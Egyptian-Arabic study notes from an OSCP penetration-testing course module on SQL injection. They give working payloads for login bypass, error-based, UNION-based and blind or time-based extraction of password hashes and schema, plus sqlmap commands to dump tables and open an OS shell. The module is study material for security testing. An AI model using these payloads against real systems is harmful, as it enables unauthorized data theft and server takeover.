SQL Injection (SQLi) واحدة من أخطر العيوب الأمنية اللي بتأثر على تطبيقات الويب. بتظهر باستمرار ضمن أعلى المخاطر في OWASP Top 10، ومصنَّفة تحت A03:2021 – Injection.
في جوهرها، ثغرة SQL injection بتسمح لمستخدم خبيث يتدخّل في استعلامات قاعدة البيانات اللي التطبيق بيبعتها لقاعدة بياناته الخلفية. بالتلاعب في حقول المدخل، المهاجم يقدر يغيّر منطق الاستعلام المقصود، محتمل يوصل، يعدّل، أو يستخرج بيانات المفروض تفضل محمية.
في الموديول ده، هنستكشف تقنيات اكتشاف ثغرات SQL injection، تحديد تقنيات قاعدة البيانات (fingerprinting)، وتنفيذ اختبار يدوي واستغلال بمساعدة أدوات.
مراجعة مبادئ Structured Query Language (SQL) الأساسية | استكشاف أنظمة إدارة قواعد بيانات مختلفة والفروق بينها | التعرّف على اختلافات صياغة SQL عبر منصات قواعد البيانات
SQL هي اللغة القياسية المستخدَمة للتواصل مع أنظمة قواعد البيانات العلائقية. بتمكّن المسؤولين والتطبيقات من قراءة البيانات، إضافة سجلات جديدة، تحديث معلومات موجودة، حذف إدخالات، وإدارة بنية قاعدة البيانات.
بما إن محركات قواعد البيانات غالبًا بتشتغل بصلاحيات مرتفعة، إساءة استخدام جمل SQL ممكن تقدّم تعرّضات أمنية خطيرة لما المدخل ما يتعاملش معاه بأمان.
معظم منصات الويب الحديثة بتتبع معمارية متعددة الطبقات:
| الطبقة | الوصف |
|---|---|
| Client Layer (Frontend) | الواجهة الظاهرة اللي المستخدمين بيتفاعلوا معاها في متصفحاتهم. عادةً مبنية بـ HTML، CSS، وJavaScript |
| Application Layer (Backend) | بعد أفعال المستخدم (زي تقديم نموذج)، البيانات بتتبعت لكود server-side. الطبقة دي بتعالج الطلبات باستخدام frameworks ولغات برمجة زي PHP، Java، أو Python |
| Data Layer (Database) | الـ backend بيتواصل مع قاعدة البيانات لتخزين أو استرجاع معلومات — مثلًا، التحقق من بيانات تسجيل الدخول بفحص هل اسم المستخدم والباسورد بيطابقوا سجلات مخزَّنة |
رغم إن SQL موحَّدة، كل منصة قاعدة بيانات بتنفّذ لهجتها الخاصة بميزات واختلافات صياغة فريدة. أنظمة قواعد بيانات علائقية واسعة الاستخدام تشمل:
MySQL | Microsoft SQL Server | PostgreSQL | Oracle Database
فهم الاختلافات دي مهم لأن سلوك الاستعلام، الدوال، وتقنيات الاستغلال ممكن تختلف عبر المنصات.
اعتبر جدول قاعدة بيانات اسمه users. لاسترجاع كل الأعمدة لحساب محدد (مثلًا مستخدم اسمه leon):
SELECT * FROM users WHERE user_name = 'leon';
الشرح: - SELECT * → بيطلب كل الأعمدة - FROM users → بيحدد الجدول - WHERE → بيفلتر النتائج بناءً على شرط
تطبيقات الويب نادرًا ما بتنفّذ استعلامات مستقلة. بدل كده، أوامر قاعدة البيانات بتتبنى ديناميكيًا جوه سكربتات server-side. مثلًا، أثناء عملية تسجيل دخول، كود الـ backend ممكن يجمّع بيانات اعتماد مُقدَّمة عبر نموذج ويبني استعلام للتحقق منها:
<?php
$username = $_POST['uname'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE user_name='$username' AND password='$password'";
$result = mysqli_query($connection, $query);
?>
إليك إيه اللي بيحصل:
دالة
mysqli_queryبتنفّذ الأمر مقابل قاعدة البيانات (الـ "i" بتشير لـ "improved"، إشارة لـ MySQLi extension).
لو مدخل المستخدم بيتضاف لاستعلام من غير تحقق أو تنقية، التطبيق بيبقى عرضة للخطر. المهاجم يقدر يقدّم مدخل مصمَّم يحتوي صياغة SQL، مغيّرًا منطق الأمر المقصود.
| النوع | المدخل |
|---|---|
| عادي | leon |
| خبيث | leon' OR '1'='1 |
من غير ضمانات سليمة، قاعدة البيانات هتنفّذ الاستعلام المعدَّل، واللي ممكن يتخطى التوثيق أو يعرّض بيانات حساسة. حروف خاصة، مُعاملات، وجمل SQL إضافية كلهم ممكن يُستخدموا للتلاعب في إزاي قاعدة البيانات بتفسّر الجملة.
التفاعل ده بين مدخل المستخدم، كود التطبيق، واستعلامات قاعدة البيانات بيشكّل أساس ثغرات SQL injection.
أثناء تقييم أمني، المختبرين غالبًا مش عارفين أنهي تقنية قاعدة بيانات بتشغّل التطبيق المستهدف. عشان كده، مهم نفهم إزاي نتفاعل مع تطبيقات SQL متعددة، بما إن كل واحدة ليها أوامرها، قواعد صياغتها، وقدراتها المدمجة.
في القسم ده، التركيز على نظامين واسعي الانتشار: MySQL (وفرعها MariaDB) وMicrosoft SQL Server (MSSQL).
MySQL من أكتر قواعد البيانات العلائقية استخدامًا في تطوير الويب. نظيرتها مفتوحة المصدر، MariaDB، بتحافظ على التوافق مع تقديم تحسينات إضافية.
الاتصال بسيرفر MySQL بعيد:
mysql -h <target_ip> -u <username> -p -P 3306
(البورت الافتراضي 3306). بمجرد الاتصال، الكونسول التفاعلي بيسمح بتنفيذ جمل SQL مباشرة مقابل قاعدة البيانات.
جمع معلومات النظام:
SELECT version(); -- يكشف إصدار محرك قاعدة البيانات
SELECT system_user(); -- يوضّح الحساب الموثَّق ومصدره
التفاصيل دي بتساعد في تحديد مستويات الصلاحيات وسطح الهجوم المحتمل.
ملاحظة مهمة: حساب "root" في قاعدة البيانات بيشير لصلاحيات إدارية جوه نظام قاعدة البيانات — مش بالضرورة تحكم كامل في نظام التشغيل.
عدّ قواعد البيانات المتاحة:
SHOW DATABASES;
بيسرد كل الـ schemas القابلة للوصول، بما فيها قواعد بيانات النظام وأي قواعد مخصَّصة أنشأها المطورين.
استخراج اعتمادات مخزَّنة (مثال):
جوه قاعدة بيانات النظام، تفاصيل حسابات المستخدمين ممكن تكون مخزَّنة في جداول مخصَّصة:
SELECT user, authentication_string
FROM mysql.user
WHERE user = 'BadGlitch';
الباسوردات عادةً مخزَّنة كـ hashes تشفيرية (مثلًا Caching-SHA-256)، مش نص واضح. الـ hashes دي بتمثّل نسخ مُرمَّزة من الباسورد الأصلي ومصمَّمة تمنع الكشف المباشر لو قاعدة البيانات اتعرّضت.
MSSQL مدمج بشكل وثيق مع نظام Windows البيئي وشائع الاستخدام في بيئات المؤسسات.
أنظمة Windows بتشمل أدوات سطر أوامر للتفاعل مع قواعد البيانات، بينما مختبري الاختراق غالبًا بيعتمدوا على أدوات متخصصة للاتصال عن بُعد. واحدة من الأدوات دي هي Impacket، اللي بتدعم بروتوكول Tabular Data Stream (TDS) المستخدَم من سيرفرات MSSQL.
# مثال اتصال عبر Impacket
mssqlclient.py <username>@<target_ip> -windows-auth
تحديد إصدار النظام:
MSSQL بتوفّر متغيّرات نظام بتكشف معلومات تفصيلية عن محرك قاعدة البيانات ونظام التشغيل الأساسي:
SELECT @@version;
الخرج ده غالبًا بيشمل: إصدار وbuild الـ SQL Server | إصدار نظام التشغيل | تفاصيل البنية (architecture). المعلومة دي قيّمة لبحث الثغرات وتخطيط الاستغلال.
سرد قواعد البيانات:
SELECT name FROM sys.databases;
قواعد البيانات الافتراضية عادةً بتشمل: master | tempdb | model | msdb
قواعد البيانات المخصَّصة ممكن تحتوي بيانات التطبيق وغالبًا بتبقى الهدف الأساسي أثناء الاختبار.
فحص الجداول والسجلات:
-- بعد تحديد قاعدة بيانات مثيرة للاهتمام، عدّ جداولها عبر information schema
SELECT * FROM net.information_schema.tables;
-- بعدين استرجع البيانات المخزَّنة
SELECT * FROM net.dbo.users;
حسب الإعداد، معلومات حساسة زي أسماء مستخدمين وباسوردات ممكن تكون مخزَّنة كنص واضح — إعداد خاطئ أمني خطير.
منصات قواعد البيانات المختلفة بتنفّذ SQL بطرق متمايزة، بتأثر على الأوامر، الدوال، وتقنيات الـ enumeration. التعرّف على الاختلافات دي أساسي لما بنفحص ثغرات injection أو نستخرج بيانات أثناء تقييم.
اكتشاف عيوب SQL injection من غير أدوات آلية | فهم تقنيات حقن UNION-based | استكشاف طرق SQL injection القائمة على الأخطاء (error-driven) | تعلّم أساسيات blind SQL injection
بعد مراجعة أساسيات قاعدة البيانات والاختلافات في الصياغة بين المنصات الأساسية، الخطوة الجاية هي تعلّم إزاي المهاجمين يدويًا بيكتشفوا ويستغلوا نقاط ضعف SQL injection.
رغم إن أطر آلية زي sqlmap تقدر تحدد ثغرات بسرعة، الاختبار اليدوي أساسي لفهم إزاي العيوب دي فعليًا بتشتغل وإزاي الـ payloads بتتلاعب في الاستعلامات الخلفية.
اعتبر سكربت تسجيل دخول مكتوب بـ PHP بيبني استعلام قاعدة بيانات باستخدام مدخل مُقدَّم من المستخدم (زي المثال اللي فات). بما إن التطبيق بيضيف مدخل المستخدم مباشرة في جملة SQL من غير تحقق أو parameterization، المهاجم يقدر يغيّر منطق الاستعلام.
واحد من أشيع مسارات الاستغلال الأولية هو تجاوز ضوابط تسجيل الدخول. بحقن مدخل مصمَّم بيقفل السلسلة الأصلية ويضيف شرط دايمًا بيُقيَّم كـ TRUE، المهاجم يقدر يجبر قاعدة البيانات ترجّع سجل صالح.
مثال Payload:
BadGlitch' OR 1=1 -- //
إيه اللي بيحصل داخليًا:
قاعدة البيانات بتستقبل استعلام معدَّل شبيه بـ:
SELECT * FROM users WHERE user_name='BadGlitch' OR 1=1 -- //' AND password='...'
OR 1=1 دايمًا صح (TRUE)--) بيتجاهل باقي الجملةلو التطبيق بيمنح وصول بناءً بس على وجود نتيجة، التوثيق بيتخطى.
قبل إطلاق payloads معقَّدة، المختبرين غالبًا بيفحصوا هل المدخل بيأثر على بنية الاستعلام. مثلًا، إدخال علامة اقتباس مفردة (') في حقل ممكن يحفّز خطأ صياغة في قاعدة البيانات. الخطأ ده بيوحي بقوة إن مدخل المستخدم بيتفسّر كجزء من جملة SQL.
لما التطبيقات بتعرض أخطاء قاعدة البيانات مباشرة، الثغرة بتبقى أسهل في الاستغلال. السيناريو ده معروف بـ in-band SQL injection، حيث المهاجم بيستقبل ردود قاعدة البيانات عبر واجهة التطبيق. الأنظمة الإنتاجية عادةً بتقمع الرسائل دي لأن كشفها بيسرّب معلومات حساسة.
بمجرد التأكيد، المهاجمين يقدروا يستخدموا ردود الخطأ لاسترجاع معلومات قاعدة البيانات.
استرجاع إصدار قاعدة البيانات:
' OR 1=1 IN (SELECT @@version) -- //
الـ payload ده بيجبر قاعدة البيانات تقيّم subquery بيكشف إصدارها. لو التطبيق بيرجّع الخطأ أو الخرج الناتج، المهاجم بيحصل على رؤية عن بيئة قاعدة البيانات.
محاولة استرجاع جدول كامل:
' OR 1=1 IN (SELECT * FROM users) -- //
لو الاستعلام فشل بسبب أعمدة متعددة، المهاجم بيعدّل الـ payload عشان يطلب عمود واحد بس:
' OR 1=1 IN (SELECT password FROM users) -- //
ده ممكن يكشف اعتمادات مُشفَّرة (hashed) مخزَّنة في قاعدة البيانات. لاستهداف حساب محدد:
' OR 1=1 IN (
SELECT password
FROM users
WHERE username='admin'
) -- //
الاستعلام المُحسَّن ده بيعزل hash باسورد المدير.
ليه ده بيشتغل: الحقن المبني على الأخطاء بيعتمد على إن محرك قاعدة البيانات بيرجّع رسائل تفصيلية لما استعلام يفشل أو يتصرف بشكل غير متوقَّع. الرسائل دي ممكن تفصح بدون قصد عن: بنية قاعدة البيانات | أسماء الجداول | أسماء الأعمدة | البيانات المخزَّنة
لما التطبيق بيعرض نتائج استعلام قاعدة البيانات جوه خرجه العادي (in-band SQL injection)، المختبرين لازم يفحصوا هل حقن UNION-based ممكن.
مُعامل SQL UNION بيسمح بدمج نتائج استعلام واحد مع خرج استعلام تاني. في سيناريوهات الاستغلال، ده بيمكّن المهاجمين من إضافة جملة
SELECTخبيثة وعرض نتائجها جنب البيانات الشرعية.
متطلبات نجاح هجوم UNION:
لو أي شرط فشل، قاعدة البيانات هتولّد خطأ والهجوم مش هينجح.
مثال استعلام عرضة للخطر:
$query = "SELECT * FROM customers WHERE name LIKE '".$_POST["search_input"]."%'";
ده بيسترجع سجلات عملاء أسماءهم بتبدأ بمدخل المستخدم (% بتعني "أي تسلسل حروف").
قبل صياغة UNION payload، المهاجم لازم يحدد كام عمود الاستعلام الأصلي بيرجّع. تقنية شائعة بتستخدم جملة ORDER BY:
' ORDER BY 1-- //
بزيادة الرقم خطوة بخطوة (ORDER BY 2، ORDER BY 3...إلخ)، المهاجم بيلاحظ إمتى خطأ بيحصل. أعلى رقم صالح بيكشف العدد الكلي للأعمدة. مثلًا:
ORDER BY 5 → يشتغل
ORDER BY 6 → خطأ
ده بيدل على إن الاستعلام بيرجّع 5 أعمدة.
بعد تحديد عدد الأعمدة، المهاجم يقدر يحقن استعلام UNION بيرجّع بيانات نظام مفيدة:
%' UNION SELECT database(), user(), @@version, null, null -- //
ده بيحاول يعرض: اسم قاعدة البيانات الحالية | مستخدم قاعدة البيانات | إصدار قاعدة البيانات. باقي الأعمدة بتتملى بـ null للحفاظ على محاذاة الأعمدة.
أحيانًا النتائج ما بتظهرش لأن بعض الأعمدة بتتوقع قيم رقمية بدل نص (مثلًا حقول ID). لحل ده، المهاجمين بينقلوا الخرج النصي لأعمدة قادرة تعرض نصوص:
' UNION SELECT null, null, database(), user(), @@version -- //
بحط القيم في أعمدة متوافقة، الخرج بيبقى ظاهر.
بمجرد ما حقن UNION بيشتغل، المهاجمين يقدروا يستكشفوا ميتاداتا قاعدة البيانات المخزَّنة في جداول النظام. معظم قواعد البيانات العلائقية بتحافظ على كتالوج اسمه information_schema، بيحتوي تفاصيل عن الجداول والأعمدة:
' UNION SELECT null, table_name, column_name, table_schema, null
FROM information_schema.columns
WHERE table_schema = database() -- //
ده بيكشف: أسماء الجداول | أسماء الأعمدة | قاعدة البيانات المرتبطة. من خلال العملية دي، المهاجمين يقدروا يرسموا خريطة لبنية قاعدة البيانات الهدف بالكامل.
بعد تحديد جداول قيّمة (مثلًا جدول users)، المهاجمين يقدروا يسترجعوا السجلات المخزَّنة:
' UNION SELECT null, username, password, description, null
FROM users -- //
لو نجح، التطبيق هيعرض أسماء المستخدمين وhashes الباسوردات. الـ hashes دي (زي قيم MD5) بتمثّل نسخ مُرمَّزة من الباسوردات — المهاجمين ممكن يحاولوا يكسروها أوفلاين باستخدام أدوات متخصصة.
حقن UNION-based قوي لأنه بيسمح للمهاجمين: يدمجوا استعلامات خبيثة مع استعلامات شرعية | يعدّوا بنية قاعدة البيانات | يستخرجوا معلومات حساسة مباشرة عبر واجهة التطبيق
في السيناريوهات السابقة، الاستعلامات المحقونة رجّعت نتائج قاعدة البيانات مباشرة عبر واجهة التطبيق (in-band). لكن بعض التطبيقات بتقمع أخطاء ومخرجات قاعدة البيانات، مخلّية الاستخراج المباشر مستحيل.
Blind SQL Injection بتحصل لما التطبيق مابيعرضش نتائج الاستعلام، مجبرة المهاجم يستنتج معلومات بشكل غير مباشر بملاحظة سلوك التطبيق. بدل ما يشوف بيانات قاعدة البيانات، المهاجم بيحلل إزاي التطبيق بيرد على مدخلات مصمَّمة.
التقنية دي بتعتمد على إرسال شروط بتُقيَّم كـ TRUE أو FALSE وملاحظة اختلافات في رد التطبيق. حتى لو خرج قاعدة البيانات مخفي، سلوك التطبيق بيكشف هل الشرط اتحقق.
إزاي بتشتغل:
| الشرط | سلوك الصفحة |
|---|---|
| صحيح (TRUE) | الصفحة بتعرض محتوى عادي، البيانات بتظهر كالمتوقَّع |
| خاطئ (FALSE) | الصفحة بتتغيّر، المحتوى بيختفي، أو خطأ/نتيجة فاضية بتظهر |
مثال Payload:
?user=BadGlitch' AND 1=1 -- //
1=1 دايمًا TRUE — التطبيق بيتصرف بشكل عادي لو السجل موجود. دلوقتي قارن بـ:
?user=BadGlitch' AND 1=2 -- //
1=2 دي FALSE — رد التطبيق بيتغيّر. باستبدال الشروط باستعلامات (مثلًا فحص حروف باسورد)، المهاجمين يقدروا يعيدوا بناء بيانات مخفية قطعة قطعة.
ليه لسه معتبرة "عمياء": المهاجم عمره ما بيستقبل خرج قاعدة بيانات خام. كل الاستنتاجات جاية من ملاحظة السلوك الظاهر لتطبيق الويب، مش نتائج استعلام مباشرة.
لما التطبيقات بترجّع ردود متطابقة لحالتي TRUE وFALSE، المهاجمين بيستخدموا التوقيت (timing) كقناة جانبية. في الطريقة دي، الاستعلام المحقون بيوجّه قاعدة البيانات توقف التنفيذ لو شرط معين صحيح.
مثال Payload:
?user=BadGlitch' AND IF(1=1, SLEEP(3), 'false') -- //
الشرح: لو الشرط TRUE → قاعدة البيانات بتستنى 3 ثواني. لو FALSE → الرد فوري. بقياس وقت الرد، المهاجم بيحدد هل الشرط اتحقق.
افترض إن التطبيق بيسترجع تفاصيل مستخدم بناءً على باراميتر URL:
blindsqli.php?user=BadGlitch
الصفحة بتعرض: اسم المستخدم | hash الباسورد | وصف. بما إن الباراميتر مُضمَّن في استعلام قاعدة بيانات، بيبقى نقطة حقن.
اختبار Boolean:
?user=BadGlitch' AND 1=1 -- //
لو الصفحة لسه بتعرض بيانات المستخدم → الشرط TRUE.
اختبار التوقيت:
?user=BadGlitch' AND IF(1=1, SLEEP(3), 'false') -- //
لو الصفحة اتأخّرت → الشرط TRUE.
حتى من غير خرج ظاهر، المهاجمين لسه يقدروا: يعدّوا أسماء قواعد البيانات | يكتشفوا بنية الجداول | يستخرجوا اعتمادات حرف بحرف
العملية أبطأ من أنواع SQLi التانية لأن كل قطعة معلومة محتاجة طلبات متعددة.
بما إن التقنيات العمياء بتشمل اختبار متكرر، مختبري الاختراق غالبًا بيؤتمتوها باستخدام أدوات زي sqlmap، اللي تقدر تستخرج بيانات بشكل منهجي عبر تحليل boolean أو timing.
Blind SQL injection بتوضّح إن إخفاء أخطاء قاعدة البيانات لوحده مابيلغيش الخطر. التطبيقات لازم كمان: تستخدم parameterized queries | تتحقق من المدخل بشكل سليم | تطبّق صلاحيات قاعدة بيانات بأقل الصلاحيات
وإلا، المهاجمين لسه يقدروا يكشفوا بيانات حساسة عبر قنوات غير مباشرة.
تحقيق تنفيذ أوامر نظام التشغيل عبر Microsoft SQL Server | استخدام أدوات آلية لتسريع هجمات SQL injection | فهم إزاي عيوب قاعدة البيانات ممكن تؤدي لاختراق نظام كامل
ثغرات SQL injection ممكن تمتد أبعد بكتير من استخراج البيانات. تحت ظروف معينة — حسب نظام التشغيل، صلاحيات قاعدة البيانات، وصلاحيات الملفات — المهاجم ممكن يكتسب القدرة على التفاعل مباشرة مع السيرفر الأساسي.
التقنيات اليدوية المستخدَمة لاستغلال SQL injection ممكن تكون مستهلكة للوقت وعرضة للأخطاء. مختبري الأمان غالبًا بيعتمدوا على أدوات أتمتة لتسريع الاكتشاف والاستغلال، خاصةً لما بنتعامل مع سيناريوهات حقن معقَّدة أو عمياء.
واحدة من أكتر الأدوات استخدامًا لهذا الغرض هي sqlmap، اللي بتيجي متضمَّنة مسبقًا في توزيعات اختبار اختراق زي Kali Linux.
الخطوة الأولى هي اختبار هل باراميتر ويب عرضة للخطر. فحص أساسي بيشمل تحديد الـ URL المستهدف وتحديد الباراميتر المراد اختباره:
sqlmap -u "http://target/blindsqli.php?user=1" -p user
الأداة هـ:
1. تبعت payloads مصمَّمة
2. تحلل ردود السيرفر
3. تحدد تقنية الحقن
4. تعمل fingerprint لقاعدة البيانات الخلفية
النتائج النموذجية ممكن تشمل: نوع الحقن (مثلًا time-based blind) | محرك قاعدة البيانات (MySQL، MSSQL...إلخ) | نظام تشغيل سيرفر الويب | لغة البرمجة والـ framework
مرحلة الاستطلاع دي حرجة لأنها بتحدد أنهي استراتيجيات هجوم قابلة للتطبيق.
بعد تأكيد ثغرة، الخطوة الجاية هي استخراج البيانات. أدوات الأتمتة تقدر تعدّ: أسماء قواعد البيانات | الجداول | الأعمدة | السجلات المخزَّنة
# سرد قواعد البيانات
sqlmap -u "http://target/blindsqli.php?user=1" -p user --dbs
# سرد الجداول في قاعدة بيانات محددة
sqlmap -u "http://target/blindsqli.php?user=1" -p user -D target_db --tables
# dump محتوى جدول كامل، بما فيه اعتمادات المستخدمين
sqlmap -u "http://target/blindsqli.php?user=1" -p user -D target_db -T users --dump
استخدام خيار الـ dump بيسمح باسترجاع مجموعات بيانات كاملة، بما فيها اعتمادات المستخدمين. سيناريوهات الحقن الأعمى — خاصةً الـ time-based — ممكن تكون بطيئة لأن كل بت معلومة محتاج طلبات متعددة للتأكيد.
الأدوات الآلية بتولّد حجم كبير من الترافيك وأنماط مميَّزة. ده بيخليها سهلة الاكتشاف من: أنظمة كشف التسلل (IDS) | Web Application Firewalls | فرق المراقبة الأمنية
عشان كده، الأتمتة ممكن متكونش مناسبة لما التخفّي مطلوب. التقنيات اليدوية بتفضل قيّمة للتهرّب والدقة.
مش كل الثغرات بتتعرض عبر باراميترات URL — بعضها موجود في تقديمات نماذج باستخدام طلبات POST. لتحليل دي:
1. التقط طلب HTTP باستخدام أداة proxy
2. احفظه في ملف
3. قدّم الملف لأداة الأتمتة
sqlmap -r request.txt -p username
ده بيسمح باختبار باراميترات مخفية ووظائف موثَّقة.
ميزات متقدمة تقدر تصعّد اختراق قاعدة بيانات لتحكم كامل في السيرفر. أدوات الأتمتة ممكن تحاول:
1. كتابة ملفات خبيثة في دليل الويب
2. نشر webshell
3. توفير shell تفاعلي لنظام التشغيل
sqlmap -u "http://target/blindsqli.php?user=1" -p user --os-shell
بمجرد النجاح، المهاجم يقدر ينفّذ أوامر نظام عن بُعد، شبه امتلاك وصول terminal. القدرات النموذجية بتشمل: عرض معلومات النظام | التنقّل بين الأدلة | إدارة الملفات | تشغيل أوامر إدارية
في المرحلة دي، الهجوم بيتخطى استغلال قاعدة البيانات لاستيلاء كامل على النظام.
الأتمتة بتسرّع استغلال SQL injection بشكل كبير، ماكّنة المهاجمين أو المختبرين من: اكتشاف ثغرات بسرعة | عدّ قواعد البيانات بكفاءة | تحقيق تنفيذ عن بُعد
لكن الاعتماد حصريًا على الأتمتة ممكن يكون خطير بسبب الضوضاء وقابلية الاكتشاف. المختبر الماهر بيجمع بين: فهم يدوي | صياغة payloads دقيقة | استخدام استراتيجي للأدوات الآلية
في الموديول ده، ركّزنا على تحديد وعدّ ثغرات SQL injection. استكشفنا الـ payloads المختلفة اللي ممكن تُستغل لإساءة استخدام ثغرات تطبيقات الويب دي، واكتشفنا إزاي نحقق تنفيذ كود يدويًا. أخيرًا، اتعلّمنا إزاي نؤتمت سلسلة الهجوم بالكامل باستخدام sqlmap.
نهاية نوتس الموديول الثامن — OSCP: SQL Injection Attacks